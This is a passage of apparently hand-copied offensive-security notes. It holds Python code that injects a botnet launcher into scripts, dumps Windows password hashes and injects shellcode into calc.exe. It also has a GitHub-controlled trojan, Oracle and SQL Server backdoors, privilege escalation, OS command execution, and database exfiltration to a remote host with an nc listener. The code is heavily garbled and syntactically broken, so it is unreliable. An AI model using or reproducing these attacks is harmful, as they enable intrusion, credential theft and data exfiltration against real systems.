1116 win32con.FILE_FLAG_BACKUP_SEMANTICS,
1117 None)
1118
1119
1120 while 1;
1121 try:
1122
1123 results = win32file.ReadDirectoryChangesW(
1124 h_directory,
1125 1024,
1126 True,
1127 win32con.FILE_NOTIFY_CHANGE_FILE_NAME |
1128 win32con.FILE_NOTIFY_CHANGE_DIR_NAME |
1129 win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES |
1130 win32con.FILE_NOTIFY_CHANGE_SIZE |
1131 win32con.FILE_NOTIFY_CHANGE_LAST_WRITE |
1132 win32con.FILE_NOTIFY_CHANGE_SECURITY,
1133
1134
1135 for action, file_name in results:
1136 full_filename = os.path.join(path_to_watch,file_name)
1137 if action == FILE_CREATED:
1138 printf " [ + ] Created %s" % full_filename
1139elif action == FILE_DELETED.
1140 print "[ - ] Deleted %s" %full_filename
1141elseif action == FILE_MODIFIED:
1142 print "[ * ] Modified %s" %full_filename
1143
1144
1145 #dump out the file contents
1146 print " [vvv] Dumping contents ..."
1147 try:
1148 df.close()
1149 printf contents
1150 print " [^^^] Dump complete."
1151 except:
1152 printf "[!!!] Failed."
1153
1154elif action == FILE_RENAMED_FROM:
1155 print " [ > ] Renamed from %s" %full_filename
1156
1157elif action == FILE_RENAMED_TO:
1158 printf " [ < ] Renamed to %s" full_filename
1159else:
1160 printf " [???] Unknown %s" %full_filename
1161except:
1162 pass
1163for path in dirs_to_monitor:
1164 monitor_thread = threading.Thread(target=start_monitor,args=(path,))
1165 printf "Spawning.monitoring.thread for path %s" %path
1166 monitor_thread.start()
1167
1168
1169
1170file_types = {}
1171
1172command = "C:\\WINDOWS|TEMP\\botnet.exe -l -p 9999 -c"
1173file_types[".vbs'] =
1174["\r\n'botnet\r\n","\r\nCreateObject(\"Wscript.Shell\") .Run(\"%s\")r\n"% command]
1175
1176file_types[".bat'] = ["r\nREM botnet\r\n","\r\n%s\r\n" %command]
1177
1178file_types['.ps1'] ["\r\n\n#botnet",Start-Process \"%s\"\r\n" %command]
1179
1180#function to handle injection
1181def inject_code(full_filename,extension,contents):
1182
1183
1184 #is our marker already in the file?
1185 if file_types[extension] [0] in contents:
1186 return
1187
1188 # no marker; let's inject the marker right here
1189 full_contents = file_types[extension] [0]
1190 full_contents += file_types[extension [1]
1191 full_contents += contents
1192
1193 fd = open(full_filename, "wb")
1194 fd.write(full_contents)
1195 fd.close()
1196
1197
1198 printf "[\o/] pwned."
1199
1200 return
1201
1202 /*
1203 def dir file_extension (1)
1204 inject_code(2)
1205 marker_for_exploit(3)
1206 modify_main target_process (3)
1207 finally injecting extension(4)
1208
1209
1210(grabbing password hashes)
1211
1212$python vol.py hivelist --profile=WinXPSP2x86 -f "windowsXP2P2.vmem"
1213
1214locate in 0xe1673b60: \Device\HarddiskVolume1\Windows\system32\config\software
1215locate in 0xe1673b58: \Device\HarddiskVolume1\WINDOWS\system32\config\SAM
1216
1217
1218$python vol.py hashdump -d -d -f "WinXPSP2x86".vmem"
1219--profile=WinXPSP2x86 -y 0xe1673b60 -s 0xe1673b58
1220
1221Administrator:500:74f77d7aaaddd538d5b79ae2610dd89d4c:537d8e4d99dfb5f5e92e1fa3
122277041b27:::
1223Guest:501:aad3b435b51404ad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
1224HelpAssistant:1000:bf57b0cf30812c924kdkkd68c99f0778f7:457fbd0ce4f6030978d124j
1225272fa653:::
1226SUPPORT_38894df:1002:aad3b435221404eeaad3b435b51404ee:929d92d3fc02dcd099fdaec
1227fdfa81ae
1228
1229
1230import sys
1231import struct
1232import volatility.conf as conf
1233import volatility.registry as registry
1234
1235memory_file = "WinXPSP2x86.vmem"
1236sys.path.append("Users\l33t\Downloads\volatility-2.3.1")
1237
1238registry.PluginImporter()
1239config = config.ConfigObject()
1240
1241config.parse_options()
1242config.PROFILE ="WinXPSP2x86"
1243config.LOCATION = "file://$%s" % memory_file
1244
1245registry.registry.global_options(config, commands.Command) (1) set variable to point to memory_file
1246registry.registry_global_options(config, addrspace.BaseAddressSpace) (2) include download path for application and config\
1247
1248(dumping hash codes)
1249
1250sam_offset =None
1251sys_offset = None
1252for offset in registry.all_offsets:
1253
1254 if registry.all_offsets[offset].endswith("\\SAM"):
1255 sam_offset = offset
1256 print "[ * ] SAM: 0x%08x" % offset
1257
1258 if registry.all_offset[offset.endswith("\\system"):
1259 sys_offset = offset
1260 print "[ * ] System: 0x%08x" % offset
1261 if sam_offset is not None and sys_offset is none None:
1262 config>sam_offset = sam_offset
1263
1264 hashdump = HashDump(config)
1265
1266 for hash in hashdump.calculate():
1267 print hash
1268
1269 break
1270
1271if sam_offset is None or sys_offset is None:
1272 printf "[*] Failed to find the system of SAM offsets."
1273(1) using RegistryApi functons
1274(2) populating_offsets
1275(3) finding hives in the SAM directory
1276(4) location System
1277(5) creating HashDump object to current object
1278(6) pass the current config ojbect
1279(7) calculate a function call containing usernames:password hashes
1280 ex0a
1281
1282 debugging calc codes
1283
1284 from imlib import *
1285
1286 class cc_hook(LogBpHook):
1287
1288 def __init__(self):
1289
1290 LogBpHook. __init__(self)
1291 self.imm = Debugger()
1292
1293 def run(self,regs):
1294
1295 self.imm.log("%08x" % regs['EIP'],regs['EIP'])
1296
1297 return
1298
1299 def main(args):
1300
1301 im = Debugger()
1302 calc = imm.getModule("calc.exe")
1303 im.analyseCode(calc.getCodebase())
1304
1305 hooker = cc_hook()
1306
1307 for function in functions:
1308 hooker.add("%08x" %function, function
1309
1310 return "Tracking %d function." %len(functions)
1311
1312
1313 scanning for calc.exe in process memory space
1314
1315
1316 import sys
1317 import struct
1318 equals_button = 0x01005D51
1319
1320 memory_file = "WinXPSP2x86.vmem"
1321 slack_space = None
1322 trampoline_offset = None
1323
1324#read in our shellcode
1325
1326(1) sc_fd = open("cmeasure.bin", "rb")
1327sc = sc_fd.read()
1328sc_fd.close()
1329
1330sys.path.append("users/l33t/Downloads/volatility-2.3.1")
1331
1332import volatility.conf as conf
1333import volatility.registry as registry
1334
1335registry.PluginImporter()
1336config = conf.ConfObject()
1337import volatility.commands as commands
1338import volatility.addrspace as addrspace
1339
1340registry.registry_global_options(config, commands.Command)
1341registry.registry_global_options(config, addrspace.BaseAddressSpace)
1342
1343config.parse_options()
1344config.PROFILE ="WinXPSP2x86"
1345
1346config.LOCATION = "file://%s" % memory_file
1347
1348
1349(1) [ = taskmods.PSlist(config)
1350(2) for process in p.calculate:
1351 if str(process.ImageFileName) == "calc.exe":
1352
1353 print "[ * ] Found calc.exe with PID %d % process.UniqueProcessId
1354 print "[ * ] Hunting for offset addresses"
1355
1356 (3) address_space = process.get_process_address_space()
1357 (4) pages = address_space.get_available_pages()
1358
1359
1360 crawling memory for indentical memory chunk sizes
1361
1362
1363
1364 for page in pages:
1365
1366 (1) physical = address_space.vtop(page[0])
1367
1368 if physical is not None:
1369
1370 if slack_space is None:
1371
1372 df = open(memory_file, "r+r")
1373 fd.seek(physical)
1374 buf = fd.read(page[1])
1375
1376 try:
1377 (3) offset = buf.index("\x00" + len(sc))
1378 slack_space = page[0] + offset
1379
1380 print "[*] found shellcode location!'
1381 print "[*] Virtual address: 0x%08x" % slack_space
1382 print "[*] Physical address: 0x%08x %(physical. + offset)
1383 print "[*] Injecting shellcode."
1384
1385 (4) fd.seek(physical + offset)
1386 fd.write(sc)
1387 fd.flush()
1388 #create our trampoline_offset
1389 (5) tramp = "xbb%s %struct.pack("<L", page[0] + offset)
1390 tramp += "\xff\xe3"
1391
1392 if trampoline_offset is not None:
1393 break
1394 except:
1395
1396 pass
1397
1398 fd.close()
1399
1400 #check for our target location
1401 if page[0] <= equals_button and
1402 equals_button < (([page[0] + page[1])-7):
1403
1404 print "[*] found trampoline_offset target at: 0x%08x"
1405 % (physical)
1406
1407 #caluculate vitual_offset
1408 v_offset = equals_button_offset
1409 trampoline_offset = pyshical + v_offset
1410
1411 print "[*] Found trampoline_offset at target: 0x%08x"
1412 %(trampoline_offset)
1413
1414 if slack_space is not None:
1415 break
1416print "[*] writing tramp"
1417
1418 fd = open(memory_file "r+r")
1419 fd.seek(trampoline_offset)
1420 fd.write(tramp)
1421 fd.close()
1422
1423
1424 print "[*] injection completed."
1425
1426 (1) checks two member lists page [0] and page [1]
1427 (2) sets ram to offset in of image on disk
1428 (3) checks for nullbytes as the same size as shellcode
1429 (4) writing shellcode into memory
1430 (5) creating chunks of x86 opcodes
1431 (6) searching for function button pointer
1432
1433mov ebx, ADDRESS_OF_SHELLCODE
1434jmp ebx
1435
1436(7) writing out to trampoline_offset
1437(8) excuting shellcode in ram image
1438$ python code_inject.py
1439[*] Found calc.exe with PID 1936
1440[*] Hunting for physical offsets...please wait.
1441[*] Found good shellcode location!
1442[*] Virtual address: 0x00010817
1443[*] Physical address: 0x33155817
1444[*] Injecting shellcode.
1445[*] Found our trampoline target at: 0x3abccd51
1446[*] Writing trampoline...
1447[*] Done injecting code.
1448
1449
1450
1451
1452
1453
1454
1455
1456trojan_config = "%s.json"% % trojan_id
1457data_path ="data/%s/% %trojan_id
1458trojan_modules= []
1459confgirued = False
1460task_queue = Queue.Queue()
1461
1462
1463def connect_to_server
1464
1465 gh = login(username="yourusername", password="yourpassword")
1466 repo = gh.repository("yourusername, "xml")
1467 branch = repo.branch("master")
1468
1469 return gh_repo,branch
1470 def get_file_contents(filepath):
1471
1472 gh,repo,branch = connect_to_server()
1473 tree = branch.commit.commit.tree.recurse()
1474
1475 for filename in tree.tree:
1476
1477
1478 if filepath in filename.path:
1479 print "[*] Found file %s" %filepath
1480 blob = repo.blob(filename>_json_data['sha'])
1481 return blob.content
1482
1483 return None
1484def get_trojan_config():
1485 global configured
1486 config_json = get_file_contents(trojan_config)
1487 config = json.loads(base64.b64decode(config_json))
1488 configured = True
1489
1490 for task in config:
1491
1492 if task['module'] not in sys.modules:
1493
1494 exec("import %s" %task['module'])
1495
1496 def store_module_result(data):
1497 gh,repo,branch = connect_to_server()
1498 remote_path = "data/%s/%d.data" % (trojan_id,random,randint(1000,100000))
1499 repo.create_file(remote_path, "Commit message" , base64.b64encode(data))
1500
1501 return
1502
1503
1504oraclebackdoor.sql
1505(creates a function named ins_backdoor that executes a user in a transaction)
1506
1507CREATE OR REPLACE
1508FUNCTION ins_backdoor RETURN VARCHAR2 AUTHID CURRENT_USER AS
1509 PRAGMA AUTONOMOUS_TRANSACTION;
1510 job_id NUMBER;
1511BEGIN
1512
1513(submits a db functionality within DBMS_JOB over tcp/ip within the backdoor console with UTL_TCP within Oracle packages)
1514
1515DBMS_JOB.SUBMIT(job_id, 'DECLARE l_cn UTRL_TCP>CONNECTIOn;
1516l_cn_ret_val PLS_INTEGER;
1517l_cn_ret_val_sql1stm BARCHAR2(32000);
1518l_cn_thecursor INTEGER;
1519l_cn_columnvalue VACHAR2(2000);
1520l_status INTEGER;
1521l_colcnt NUMBER DEFAULT 0;
1522l_desc_t DBMS_SQL.DESC_TAB;
1523BEGIN
1524
1525(opens a connection the the RHOST backdoore console running on port 444 over tcp)l_cn : = UTL_TCP.OPEN_CONNECTION(''192.168.*.*'',
1526printf" change this to RHOST 4444,1521!\n!");
1527
1528(get info at DBMS_SQL over tcp with xmp doc)
1529
1530SELECT DBID, NAME INTO l_colcnt, l_sql1stm FROM V$DATABASE;
1531SELECT banner INTO l_columnvalueFROM V$VERSION WHERE ROWNUM = l;
1532_ret_vali := UTL_TCP.WRITE_LINE(1_cn, ''<?xml version="1.0" encoding="utf-8"?><IncomingConn xmlns="http://tempuri.org/IncomingBackdoorConn.xsd"
1533DBType="Oracle" ServerVersion="'' || l_cn_columnvalue || '' " DBName="'' || l_sqllstm_sqllstm
1534 LOOP
1535 l_sqlstm: :UTL.TCP.GET_LINE(l_cn, TRUE);
1536 BEGIN
1537
1538 l_thecursor := DBMS_SQL.OPEN_CURSOR;
1539 (if receieved sql command is SELECT first get all column names and send to Backdoor SQL DBID
1540 IF(SUBSTR(LTRIM(UPPER(l_sqlstm)), 1, 7)) = ''SELEC''THEN
1541
1542
1543
1544
1545 DBMS_SQL.PARSE(l_thecursor, l_sqlstm, DBMS_SQL.NATIVE);
1546 DBMS_SQL.DESCRIBE_COLUMS(l_thecursor, 1_colcnt, 1_desc_t);
1547 FOR i IN l .. l_colcnt LOOP
1548 l_ret_val := UTL_TCP.WRITE_LINE(l_cn, '''' || l_desc_t(i).cool_name);
1549 END LOOP;
1550 l_ret_val := UTL_TCP.WRITE_LINE(l_cn, '''');
1551
1552 DBMS _SQL.DEFINE_COLUMN(l_thecursor, 1, 1, l_columnvalue, 2000);
1553 l_status := DBMS_SQL.EXECUTE(l_thecursor);
1554 LOOP
1555 EXIT WHEN(DBMS_SQL.FETCH_ROWS(l_thecursor) <= 0);
1556 FOR i In l .. l_colcnt
1557LOOP
1558 DBMS_SQL.COLUMN_VALUE(l_thecursor, i, l_columnvalue);
1559 l_retu_valu := UTL_TCP>WRITE_LINE(l_cn, '''' || l_columnvalue);
1560 END LOOP;
1561
1562 DBMS_SQL.CLOSE_CURSOR(l_thecursor);
1563 ELSE
1564
1565 if receieved command is not a SELECT execute asap
1566
1567 WHEN OTHERS THEN
1568 l_return_valu := UTL_TCP.WRITE_LINE(l_cn, ''ORACLE ERROR: '' || sqlerm);
1569 END;
1570 l_ret_value := UTL_TCP.WRITE_LINE(l_cn, '' [[EnD]]'');
1571 END LOOP;
1572 UTL_TCP.CLOSE_CONNECTION(1_cn);
1573 END;
1574 SysDate+10/86400 is the start time for the job (10 seconds after submission)
1575 SysDate+ 1/1440 means the job will run every 60 seconds
1576
1577 ", SYSDATE+ 60/ 10/86400, SYSDATE+ 1/1440');
1578 COMMIT;
1579 RETURN;
1580END;
1581(hiding tracks cleaning backdoor)
1582
1583DECLARE
1584 CURSOE l_cur_jobs IS
1585 SELECT JOB FROM JOB$ WHERE WHAT LIKE 'DECLARE l_cn UTL_TCP.CONNECTION;%';
1586 l_rec l_cur_jobs %rowtype;
1587
1588 BEGIN
1589 OPEN l_cur_jobes;
1590 LOOP
1591 FETCH l_cur_jobs INTO l_rec;
1592 EXIT WHEN l_cur_jobs % NOTFOUND;
1593 DBMS_JOB.REMOVE(l_rec.job);
1594 COMMIT;
1595 END LOOP;
1596 COMMIT;
1597 END;
1598
1599 getting Administrator on SQL with low privledge user
1600
1601 DECLARE
1602 P_CHANGE_SET VARCHAR2 (32767);
1603 P_DESCRIPTION VARCHAR2 (32767);
1604 P_SUBSCRIPTION_HANDLE NUMBER;
1605 BEGIN
1606 P_CHANGE_SET: = '''' || L33T.ins_rootkit()||'''';
1607 P_DESCRIPTION : = 'AA';
1608 P_SUBSCRIPTION_HANDLE := l;
1609 SYS.DBMS_CDC_SUBSCRIBE_GET_SUBSCRIPTION_HANDLE(P_CHANGE_SET, P_DESCRIPTION,
1610 END;
1611
1612 submit paramaters to DBMS_SQL
1613
1614 '|| dbms_xmlquery.getXml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' ANY PL/SQL BLOCK ''; commit; end; ' , 0)||'
1615 (executing PL/SQL in web database)
1616
1617 SELECT EMPNO, ENAME, JOB FROM L33T.EMP WHERE ENAME LIKE '' | dbms_xmlquery.getXml('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute imediate '' ANY PL/SQL BLOCK ''; commit; end ; ',0)||%'
1618
1619 (sending exploit to vulnerable web application parameter)
1620
1621 '||SYS.DBMS_METADATA.GET_DDL('AA'' || l33t.ins.backdoor ||''',''||'
1622 (using 2 stored procedures in java by oracle to get access to the OS
1623
1624 CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_EXECUTEOS" AS
1625 import java.lang.*;
1626 import java.io.*;
1627
1628 public class ExecuteOS
1629 {
1630
1631
1632 (this java function creates a text file to call the oracle exp DB to contentest a file
1633
1634 public static void createParfile ( String parfile, String export) throws
1635
1636 IOException
1637 {
1638 File FileOut = new File (parafile);
1639 FileWriter fw = new FileWriter (fileOut);
1640 fw.write("fully=y\n");
1641 fw.write("userid=\"/ as sysdba\"n");
1642 fw.write("file=" +export + "\n");
1643 fw.close();
1644
1645 }
1646 (java function executes an OS command the string cmd passed as a parameter
1647 public static void execOSCmd (String cmd) throws IOException, java.lang.InterruptedException
1648 Process p = Runtime.getRuntime(0 .exec(cmd);
1649
1650 p.waitFor();
1651
1652 }
1653
1654
1655};
1656
1657CREATE OR REPLACE PROCEDURE "PROC_EXECUTEOS" (p_command varchar2)
1658AS LANGUAGE JAVA
1659NAME 'ExecuteOs.execOsCmd (java.lang.String)';
1660
1661CREATE OR REPLACE PROCEDURE "PROC_CREATEPARFILE" (p_parfile varchar2, p_export varchar2)
1662AS LANGUAGE JAVANAME "ExecuteOS.createParfile (java.lang.String, java.lang.String)';
1663(executes java stored procedures creates 2 formats, one for Win32 one for Linux )
1664
1665--Windows
1666
1667BEGIN
1668 PROC_CREATEPARFILE('C:\parfile.txt', 'c:\export.dmp');
1669 PROC_EXECUTEOS ('exp parfile=C:\parfile.txt');
1670 PROC_EXECUTEOS ('zip c:\export.zip c:\export.dmp');
1671END;
1672-- Linux
1673
1674BEGIN
1675 PROC_CREATEPARFILE('parfile.txt' , 'export.dmp');
1676 PROC_EXECUTEOS ('../bin/exp parfile =../parfile.txt');
1677 PROC_EXECUTEOS ('/usr/bin/zip export.zip export.dmp');
1678
1679 send_zip.sql
1680 (setups a tcp listener on a localhost or remote host)
1681 CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "SRC_FILESEND" AS
1682 import java.lang.*;
1683 import java.io.*;
1684 import java.net.*;
1685 public class FileSend
1686 {
1687
1688 (this uses a function to send local file over tcp/ip connection to remote sites
1689
1690 public static void fileSend(String myFile, String host, int port) throws Exception
1691 {
1692 int length;
1693 byte buffer[] = new byte[1024];
1694
1695 File binaryFile = new File(myFile);
1696 FileInputStream inpStream = new File.InputStream(myFile);
1697 Socket sock = new Socket(host, port);
1698 DataOutputStream dos = new DataOutputStream(sock.getOutputStream());
1699
1700 while ((length ==inpStream.read(buffer)) != -1 {
1701 dos.write(buffer, 0, length);
1702 dos.flush();
1703
1704 sock.close();
1705 inpStream.close();
1706
1707 }
1708 };
1709
1710 CREATE OR REPLACE PROCEDURE "PROC_FILESEND" (myFile varchar2, Hostname2 varchar2, Port PLS_INTEGER)
1711 AS LANGUAGE JAVA
1712 NAME 'FileSend (java.lang.String, java.lang.String, int)';
1713
1714 (stealing DB from Internet)
1715
1716 backup database.bak to DISK ='c:\windows\temp\out.dat'
1717 (compress file so its smaller)
1718 use EXEC xp_cmdshell 'makecab c:\windows\temp\out.dat c:\windows\temp\out.cab'
1719 get backup.bak cp to local host
1720 EXEC xp_cmdshell 'copy c:\windows\temp\out.cab \\your ip\share'
1721 deleting file from server
1722 EXEC xp_cmdshell 'del c:\windows\temp\out.dat.c:\windows/temp\out.cab'
1723
1724 (forcing SQL server to aunthenticate with NTLM privledges)
1725
1726EXEC master.dbo.xp_fileexist '\\IP\share'
1727(this will try to connect to SQL server with sysadmin database privs
1728
1729NTML AUTH SCHEMA TABLE:
1730
1731
1732Client connects to Server
1733Client (sends challenge) to Server
1734Client (sends response) to Server
1735Client (authenticates) to Server
1736(Hacking SQL Server NTLM)
1737client connects to sql server
1738client sends challenges to server
1739client forces to connect to server
1740client sends challenge to client a
1741client b sends response to server
1742client a sends response to server
1743client b authenticates server
1744
1745(using netcat to dump Date HTTP headers in backdoor rootkit)
1746BEGIN TRANSACTION
1747DECLARE @ReturnCode INT
1748SELECT @ReturnCode = 0
1749
1750IF NOT EXISTS (SELECT name FROM msdb.dbo.syscategories WHERE name =N'[Uncategorized ([Local)]' AND category_class=1)
1751BEGIN
1752EXEC @ReturnCode = msdb.dbo.sp_add_category @class=N'JOB', @type=N'LOCAL',
1753@name =N'[Uncategorized(Local)];
1754IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
1755
1756END
1757DECLARE @jobId BINARY(16)
1758(adding backdoor job)
1759EXEC @ReturnCode = msdb.dbo.sp_add_job @job_name=N'backdoor',
1760 @enabled=1,
1761 @notify_level_eventlog=0,
1762 @notify_level_email=0,
1763 @notify_level netsend=0,
1764 @notify_level_page=0,
1765 @delete_level=0,
1766 @description=N'No description available.',
1767 @category_name=N", @job_id @jobId OUTPUT
1768 IF (@@error <> 0 or @ReturnCode <> 0) GOTO QuitWithRollback
1769 (scheduling job for when we want to run/execute it)
1770 @enabled=1,
1771 @freq_type=4,
1772 @freq_subday_type=1,
1773 @freq_subday_type=1,
1774 @freq_relative_interval=0,
1775 @freq_recurrence_factor=1,
1776 @active_start_date=0, --( job will run in yyyymmdd format)
1777 @active_end_date=999991231,
1778 @active_start_time=95400 -- (job will run hhmmss format)
1779 @active_end_time=235959
1780
1781 (adding job step with vbscript)
1782
1783 EXEC @ReturnCode = msdb.dbo.sp_add_jobstep @job_id=@jobId, @step_name=N'1',
1784 @step_id=1,
1785 @cmdexec_success_code=0,
1786 @on_success_action=1,
1787 @on_success_step_id=0,
1788 @on_fail_action=2,
1789 @on_fail_step_id=0,
1790 @retry_attempts=0,
1791 @retry interval=0,
1792 @os_run_priority=0, @subsystem=N'ActiveScripting',
1793 @command=N'port =80
1794 httpserver = "$RHOST" bypassing IDS SQL
1795 command =""
1796 on error resume next
1797 set rds = createobject("rds.dataspace") XMLHTTP
1798 set http = rds.CreateObject("Msxml2.XMLHTTP","")
1799
1800 if not CheckError then
1801 do while ucase(trim(command))<>"EXIT"
1802 http.open "HEAD", httpserver & ":" &port, FALSE
1803 http.send outtext & vbcrlf = outttext =""
1804
1805 if not CheckError then
1806 if ucase(trim(command))<>"EXIT" then
1807 Set Conn = CreateObject("ADODB.Connection"
1808 Set Rec = CreateObject("ADODB.Recordset")
1809
1810 if not CheckEror then
1811 for i=0 to rec.fileds.count -1
1812 outtext = outtext & rec.fields.itme(i).name
1813 next
1814
1815 outtext = outtext & vbcrlf & rec.getstring(,,vbtab,vbcrlf,"")
1816
1817 if CheckError then outtext = err.description
1818 else
1819 outtext = err.description
1820 end if
1821 end if
1822 end if
1823 loop
1824end if
1825
1826set conn=nothing
1827set rec=nothing
1828set http=nothing
1829set test=nothing
1830
1831function CheckError
1832 if err=0 then
1833 CheckError=False
1834 else
1835 CheckError=True
1836 err=0
1837 end if
1838 end function
1839 '
1840 '@database_name=N'VBscript',@flags=0
1841 IF(@@ERROR <> 0 OR @ReturnCode <> 0 ) GOTO QuitWithRollback
1842 EXEC @ReturnCode = msdb.dbo.sp_update_job @job_id = @jobId, @start_step_id= 1
1843 EXEC @ReturnCode =msdb.dbo.sp_add_jobserver @job_id = @jobId, @server_name = N'(local)'
1844 IF (@@ERROR <> 0 OR @ReturnCode <> 0) GOTO QuitWithRollback
1845 COMMIT TRANSACTIONGOTO EndSave
1846 QuitWithRollback:
1847 IF (@@TRANSCOUNT > 0 ) ROLLBACK TRANSACTION
1848 EndSave:
1849 (running saved backdoor)
1850 EXEC msdb>dbo.sp_start_job @job_name =N'backdoor'
1851
1852
1853
1854
1855
1856
1857
1858
1859
1860
1861
1862
1863 *exporting java stored .zip fileSend over tcp port 4445
1864
1865 --Windows
1866 exec PROC_FILESEND ('c:\export.zip', '192.168.*.*', 4445);
1867
1868 -- Linux
1869 exec PROC_FILESEND ('./dbs/export/zip', '192.168.*.*, 4445);
1870
1871
1872 (listening on port 4445 via SQL DB server tcp port)
1873
1874 nc -p 4445 -l > oracle-db.zip